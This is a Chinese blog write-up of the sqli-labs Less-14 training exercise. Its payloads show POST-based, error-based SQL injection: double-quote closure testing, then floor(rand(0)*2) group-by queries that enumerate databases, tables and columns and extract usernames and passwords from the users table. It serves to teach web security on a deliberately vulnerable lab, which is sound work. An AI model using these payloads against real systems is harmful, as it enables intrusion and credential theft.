sqli-labs-less-14 post传参+报错注入

less-14 post+报错注入

使用burp suite抓包,分析报文体
在这里插入图片描述

使用harkbar插件中的post data进行注入:

尝试注入,判断闭合方式:

uname=" or 1=1 #&passwd=&submit=Submit 成功登录,说明闭合方式为””
在这里插入图片描述

添加一个)测试是否会报错:
uname=") or 1=1 #&passwd=&submit=Submit 出现错误回显.
在这里插入图片描述

说明有报错信息回显,我们可以采用报错注入

获取当前数据库:

uname=" union select count(*),concat(database(),’/’,floor(rand(0)*2))x from information_schema.columns group by x#&passwd=&submit=Submit
在这里插入图片描述

获取全部数据库:

逐个输出:
uname=" union select count(*),concat((select schema_name from information_schema.schemata limit 0,1),’/’,floor(rand(0)*2))x from information_schema.schemata group by x #&passwd=&submit=Submit

合并输出:
uname=" union select count(*),concat((select group_concat(schema_name) from information_schema.schemata ),’/’,floor(rand(0)*2))x from information_schema.schemata group by x #&passwd=&submit=Submit
在这里插入图片描述

获取security库信息:

表名:
Select和group_concat连用时不报错所以这里只能使用limit逐个输出:
uname=" union select count(*),concat((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1 ),’/’,floor(rand(0)*2))x from information_schema.tables group by x #&passwd=&submit=Submit
在这里插入图片描述

获取users表中信息:

字段:
uname=" union select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ ),’/’,floor(rand(0)*2))x from information_schema.tables group by x #&passwd=&submit=Submit
在这里插入图片描述

获取username字段的信息:

uname=" union select count(*),concat((select username from security.users limit 0,1),’/’,floor(rand(0)*2))x from security.users group by x #&passwd=&submit=Submit
在这里插入图片描述

获取password字段的信息:

uname=" union select count(*),concat((select password from security.users limit 0,1),’/’,floor(rand(0)*2))x from security.users group by x #&passwd=&submit=Submit
在这里插入图片描述

将username和password连接后输出:
uname=" union select count(*),concat((select concat_ws(’~’,username,password) from security.users limit 0,1),’/’,floor(rand(0)*2))x from security.users group by x #&passwd=&submit=Submit
在这里插入图片描述

持续更新中。。。。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值